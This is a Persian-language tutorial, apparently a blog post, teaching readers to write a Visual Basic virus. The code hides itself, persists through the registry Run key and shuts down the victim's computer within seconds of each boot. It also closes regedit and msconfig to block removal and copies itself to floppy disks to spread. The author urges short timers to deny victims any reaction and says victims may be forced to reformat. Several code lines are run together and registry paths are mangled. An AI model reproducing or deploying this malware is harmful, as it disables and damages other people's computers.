در این پست به شما یاد میدم که چه طور هر نوع اتصال انترنت رو قطع کنید.فقط کافیه یه timer با interval مناسب درست کنید و درونش کد زیر رو کپی کنید.
Call Shell("rundll32 iedkcs32.dll,CloseRASConnections")
این کدها باعث می شود از کارت صدای کامپیوتر صدای beep بیاید.ابتدا این کدها را در قسمتgeneral کپی کنید:
Private Declare Function GetTickCount& Lib "kernel32" ()Private Declare Function Beep Lib "kernel32" (ByVal dwFreq As Long, ByVal dwDuration As Long) As Long
یک تایمر درست کنید و این کد ها را درونش بنویسید.
t = GetTickCount& 60000If t >= 10 ThenBeep 135, 3304
ویروس نویسی
با توجه به اینکه عمده ویروس هایی که آموزش داده خواهند شد با ویژوال بیسیک طراحی شده اند به شما پیشنهاد می کنم اگه این برنامه را ندارید حتما تهیه کنید.
ویروس بلاستر(البته گفتنیه که این کدها مربوط به بلاستر واقعی نیست و فقط کارش شبیه اونه)
.فکر می کنم شما هم حتما با کدهای این ویروس اشنا هستید ولی امروز می خوام کد هایی را در کنار این ویروس یاد بدم سبب می شود این ویروس:.
1-پنهان باشد( نه در .....دیده بشه ونه فرم اون قابل دیدن باشه )
2-پس هر بار روشن شدن کامپیوتر بلافاصله دو باره آن را خاموش یا ریست کند
3-ویروس یاب ها ها قادر به شناسایی آن نبا شند
فکر می کنم ویژگی های گفته شده به تنهایی شمارا مجاب به امتحان ویروس می کنه
خوب بریم سراغ کدها:
ابتدا این کدها را در قسمت فرم کپی کنید(ویژوال بیسیک)
Private Sub Form_Load()
Shell "shutdown -s -t zz"
End Sub
نکات:
کد بالا مخصوص خاموش کردن رایانه ی قربانی است برای رستارت کردن باید بجای -sقرار بدین-r
می توانید بجایzzزمان لازم برای عمل کرد ویروس را قرار دهید(بر حسب ثانیه)
برای پنهان کردنبرنامه باید عبارت زیر را درformوارد کنید.
App.TaskVisible = FalseMe.Hide
خط اول برای پنهان کردن برنامه در..taskbarو خط دوم برای پنهان فرم کردن از دید کاربره
۳-به نظر من مهمترین نیاز یک ویروسه اجرای اتو ماتیک ویروسه که کدهای زیر این نیاز را برطرف می کنه
Set Reg = CreateObject("wscript.shell")Reg.RegWrite "HKEY_LOCAL_MACHINESOFTWAREMICROSOFTWINDOWSCURRENTVERSIONRUN" & App.EXEName, App.Path & "" & App.EXEName & ".exe"
حالاکد برنامه ی شما باید مثل زیر باشد
Private Sub Form_Load()
Set Reg = CreateObject("wscript.shell")Reg.RegWrite "HKEY_LOCAL_MACHINESOFTWAREMICROSOFTWINDOWSCURRENTVERSIONRUN" & App.EXEName, App.Path & "" & App.EXEName & ".exe"
Shell "shutdown -s -t zz"
App.TaskVisible = FalseMe.Hide
End sub
این برنامه با فشردن کلید.f5اجرا می شود ولی من توصیه می کنم اول فایل اجرایی آن را ذخیره و بعد اجرا کنید
نکات نهایی:
1- برای اینکه فرصت عکس العمل را از قربانی بگیرید زمان عملکرد ویروس را کمتر از5 ثانیه در نظر بگیرید
2-در صورتی که زمان عملکرد را بسیار کم در نظر گرفته اید هر گزان را اجرا نکنید چون اولین قربانی ویروس خود خواهید بود
3- اگر بتوانید ویروس رادر جایی غیر از درایو های اصلی قربانی قرار دهید قربانی برای نجات مجبور به formattکردن کل هارد می شود چون عملا این ویروس استفاده از ویندوز را غیر ممکن می سازد و اگر در درایو های فرعی باشد این بلا را سر سیستم عامل های تعویض شده هم می آورد.
یکی از راه های غیر فعال کردن ویروس ها،regedit و msconfig می باشد.با این دو برنامه ای که در ویندوز وجود دارد،می توان کاری کرد که ویروس،در هر بار اجرای ویندوز،اجرا نشود.در run
عبارت regedit یا msconfig را تایپ کنید تا این برنامه اجرا شوند.
برای غیرفعال کردن این دو برنامه کارهای زیر را انجام دهید:
ابتدا کدهای زیر را در قسمت general کپی کنید:
Private Declare Function SendMessage Lib "user32.dll" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
حالا این کدها را در یک timer کپی کنید:
Dim reghwnd As Long
Dim syshwnd As Long
Const WM_CLOSE = &H10
syshwnd = FindWindow(vbNullString, "System Configuration Utility")
reghwnd = FindWindow("RegEdit_RegEdit", vbNullString)
If syshwnd <> 0 Then SendMessage syshwnd, WM_CLOSE, 0&, 0&
If reghwnd <> 0 Then SendMessage reghwnd, WM_CLOSE, 0&, 0&
کی از راه های قدیمی ولی پرکاربرد ویروس ها برای منتشر شدن،فلاپی است.اگر ویروستان به کافی نت یا دیگر کامپیوتر های عمومی راه یافت و این قابلیت را داشت،می تواند به راحتی منتشر شود.کدهای زیر را در یک timer کپی کنید:
On Error GoTo h
Set fso = CreateObject("Scripting.FileSystemObject")
mf = App.Path & "" & App.EXEName & ".exe"
If Dir("A:" & "virus.exe") = "" Then
FileCopy mf, "A:" & "virus.exe"
End If
h:
توضیح کدها:در خط اول می گوید که اگر برنامه error پیدا کرد،آن را به خط آخر منتقل کند.خط دوم هم که می دانید.در خط سوم،ویروس مسیر فایل خودش را می گیرد که برای کپی کردن خودش درون فلاپی نیاز است.در خط چهارم می گوید که اگر در فلاپی فایلی به نام virus.exe وجود ندارد،خودش را با نام virus.exe در فلاپی کپی کند.